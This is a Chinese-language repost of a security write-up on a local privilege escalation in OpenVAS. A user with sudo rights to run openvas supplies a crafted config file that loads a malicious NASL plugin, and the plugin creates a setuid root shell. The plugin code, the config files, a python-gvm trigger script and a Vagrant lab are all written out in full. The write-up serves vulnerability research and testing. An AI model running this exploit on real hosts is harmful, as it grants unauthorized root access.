91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

OpenVAS中本地提權漏洞的示例分析

發布時間:2021-12-27 17:33:36 來源:億速云 閱讀:349 作者:小新 欄目:安全技術

這篇文章將為大家詳細講解有關OpenVAS中本地提權漏洞的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

OpenVAS工作流背景知識

OpenVAS是目前最流行的漏洞掃描工具之一。當你在安裝OpenVAS時,你拿到的只是OepnVAS(https://github.com/greenbone/openvas-scanner)的源碼,而不是一個隨時可以使用的可執行程序。你還需要兩外兩個額外組件:

一個實現了OSP協議(https://github.com/greenbone/ospd/)的項目,比如說ospd-openvas(https://github.com/greenbone/ospd-openvas)。

一個類似python-gvm(https://python-gvm.readthedocs.io/)的代碼庫,可以提供編程接口并允許通過ospd-openvas和使用OSP會話來跟OpenVAS進行交互。

OpenVAS中本地提權漏洞的示例分析

根據python-gvm的文檔,我們得到了下列樣本代碼(#id8):

OpenVAS中本地提權漏洞的示例分析

這是執行OpenVAS最簡單也最輕量級的工作流了。當然了,也有其他的工作流實踐方式,但可能會涉及到虛擬機或更加復雜的組件。

回到我們的演示示例上,為了成功運行前面的代碼段,我們必須能夠與ospd-openvas(一個Unix Socket)進行通信。為了實現這一點,我們可以設置Socket權限(#L55),或者使用我們的用戶身份運行ospd-openvas。

除此之外,OpenVAS安裝文檔(https://github.com/greenbone/openvas-scanner/blob/master/INSTALL.md)中的一個重要建議(第5點)是關于以root用戶身份運行OpenVAS的:

請注意,盡管您可以以沒有提升權限的用戶身份運行OpenVAS,但建議您以root身份啟動OpenVAS,因為許多網絡漏洞測試需要root權限來執行某些操作,如數據包偽造等等。如果未經允許以用戶身份運行OpenVAS來執行這些操作,則掃描結果可能不完整。

因此,程序會建議用戶以sudo權限運行ospd-openvas。比如說,在Ubuntu Groovy(20.10)上,專門有一個針對ospd-openvas的包,能夠以_gvm用戶運行該服務。_gvm用戶將會使用sudo權限來調用OpenVAS。這個用戶有nologin shell,因此我假設OpenVAS將會做以下事情:

通過其他以_gvm身份運行的進程來調度。

通過一個能夠fork以_gvm用戶擁有進程的更高級別(比如說root)進程來調度。

在我看來,這是一種運行OpenVAS的安全方法。

根據我的個人實現OpenVAS工作流的經驗,這里會有一些區別:

所有涉及到的軟件包都有一致的版本(即8.1https://github.com/greenbone/openvas-scanner/releases),因此您可以手動升級以獲得最新的特性。

操作系統軟件包有點過時或者不存在(在04中ospd-openvas不存在),所以用戶必須構建自己的軟件包,這就需要定制運行的用戶和權限。

掃描可能會卡住或無法完成,因此您需要圍繞OpenVAS提供一些監控解決方案。

還有其他很多的協議(https://python-gvm.readthedocs.io/en/latest/api/protocols.html)可以與OpenVAS交互。

最后,有幾種方法可以實現OpenVAS工作流,這些工作流可以在不同的permission/ownership方案中派生,并允許最終用戶擁有sudo權限來執行OpenVAS。作為滲透測試人員,對我們來說重要的是要知道,如果我們有一個Shell作為一個擁有sudo權限的用戶來執行OpenVAS,我們可以將權限升級到root,那我們走這條路吧!

千里之行始于足下

現在,我們的用戶擁有sudo權限來執行OpenVAS,OpenVAS代碼中一個有趣的功能就是可以使用-c選項在運行時修改配置信息。下圖中,我演示了如何使用-s選項來顯示配置信息:

OpenVAS中本地提權漏洞的示例分析

在研究了不同配置信息之后,我了解了如何去利用它們。

OpenVAS代碼會從設置中定義的plugins_folder路徑來加載插件,那如果我能在運行時將該目錄指向一個存儲了惡意插件的目錄,是不是就可以讓OpenVAS執行掃描的時候運行我們的惡意代碼呢?

漏洞利用

為了利用這個提權漏洞,首先我們要在目錄/tmp/plugins中創建一個惡意插件:

if(description)

{

  script_oid("1.2.3.4.5");

  script_tag(name:"last_modification", value:"2021-03-21 12:22:31 +0100 (Sun, 21 Mar 2021)");

  script_tag(name:"creation_date", value:"2021-03-21 12:22:31 +0100 (Sun, 21 Mar 2021)");

  script_tag(name:"cvss_base", value:"0.0");

  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:N");

  script_name("Malicious");

  script_category(ACT_SCANNER);

  script_family("Port scanners");

 

  exit(0);

}

 

args = make_list("cp", "/bin/dash", "/tmp/rootshell");

ret = pread(cmd:"cp", argv: args, cd: FALSE);

args = make_list("chmod", "+s", "/tmp/rootshell");

ret = pread(cmd:"chmod", argv: args, cd: FALSE);

 

exit( 0 );

這個惡意NASL插件將會在被執行的時候創建一個rootshell(第15-18行)。請記住代碼中第3行聲明的插件ID 1.2.3.4.5,因為我們之后會用到。除此之外,對于一個有效的plugins_folder,它必須包含一個名為plugin_feed_info.inc的文件,其中需要包含有效的date字符串:

PLUGIN_SET = "202006091543"

接下來,我們需要在/tmp/openvas.conf路徑下創建我們的惡意配置文件,它將會通過-c選項提供給OpenVAS:

plugins_folder = /tmp/plugins

db_address = /tmp/redis-server.sock

它負責引用我們的惡意插件目錄,并指向一個Redis Socket(OpenVAS使用了一個Redis數據庫來存儲某些掃描信息)。在Ubuntu Groovy中,Redis(https://redis.io/)實例需要先進行實例化,而且有嚴格的權限限制:

OpenVAS中本地提權漏洞的示例分析

為此,我開啟了一個自己的Redis實例來監聽/tmp/redis-server.sock,并將其設置在我的惡意配置中。

下一步很重要,我們需要運行ospd-openvas來跟OpenVAS通信。官方ospd-openvas項目(https://github.com/greenbone/ospd-openvas)會使用sudo調用OpenVAS,但并沒有設置-c選項。所以我創建了一個fork(https://github.com/csalazar/ospd-openvas),并添加了指向我們惡意配置的-c選項:

OpenVAS中本地提權漏洞的示例分析

在我的漏洞利用場景中,我將會使用下列配置信息運行我的fork:

[OSPD - openvas]

log_level = INFO

socket_mode = 0o770

unix_socket = /tmp/ospd-openvas.sock

pid_file = /tmp/ospd-openvas.pid

log_file = /tmp/ospd-openvas.log

lock_file_dir = /tmp

這個配置主要用于在/tmp/ospd-openvas.sock創建一個ospd-openvas Socket,這樣我就可以控制它了。

最后一步就是觸發掃描任務了,這里我使用了下列腳本:

import os

import uuid

 

from gvm.connections import UnixSocketConnection

from gvm.protocols.latest import Osp

 

def run_openvas():

    path = "/tmp/ospd-openvas.sock"

    connection = UnixSocketConnection(path=path)

    osp = Osp(connection=connection)

 

    # Prepare scan data

    MALICIOUS_PLUGIN_ID = "1.2.3.4.5"

    vts = {MALICIOUS_PLUGIN_ID: {}}

    targets = [{"hosts": "localhost", "ports": "22"}]

 

    with osp:

        scan_id = str(uuid.uuid4())

        osp.start_scan(scan_id=scan_id, targets=targets, vt_selection=vts)

我們一起看看上述代碼會做什么事情:

第8行引用了我的ospd-openvas Socket;

第14行添加了需要運行的惡意插件;

第19行調用了掃描任務;

如果一切正常的話,我們就可以在/tmp/rootshell拿到一個root shell了!

執行漏洞利用方案

為了方便大家在一個隔離環境中進行測試,我提供了一個樣本Vagrantfile 來從runner用戶實現提權:

$script = <<-SCRIPT

apt update && apt install python3-venv openvas-scanner -y

adduser --gecos "" --disabled-password runner

chpasswd <<<"runner:password123"

echo "runner ALL = NOPASSWD: /usr/sbin/openvas" >> /etc/sudoers

SCRIPT

 

Vagrant.configure("2") do |config|

  config.vm.box = "ubuntu/groovy64"

  config.vbguest.auto_update = false

  config.vm.provision "shell", inline: $script

end

這里要求安裝python-gvm(https://python-gvm.readthedocs.io/en/latest/)和我fork的ospd-openvas(https://github.com/csalazar/ospd-openvas),我已經使用了一個虛擬環境來封裝它們了:

python3 -m venv env

source ./env/bin/activate

 

pip install python-gvm

pip install git+https://github.com/csalazar/ospd-openvas.git

現在你就可以執行漏洞利用代碼(https://gist.github.com/csalazar/4ef0a379b7564861e0838220aef7c2e3)了。

關于“OpenVAS中本地提權漏洞的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

深泽县| 凤庆县| 黄冈市| 威远县| 安图县| 海原县| 定陶县| 新绛县| 东乡族自治县| 莱州市| 绥棱县| 忻州市| 拉萨市| 巴彦县| 临湘市| 出国| 桐城市| 思南县| 普定县| 富蕴县| 轮台县| 乌苏市| 清河县| 彰化市| 博白县| 常德市| 梨树县| 兴城市| 云林县| 醴陵市| 五寨县| 锦屏县| 通化市| 沿河| 兰考县| 天津市| 易门县| 仪征市| 雅安市| 浑源县| 屏南县|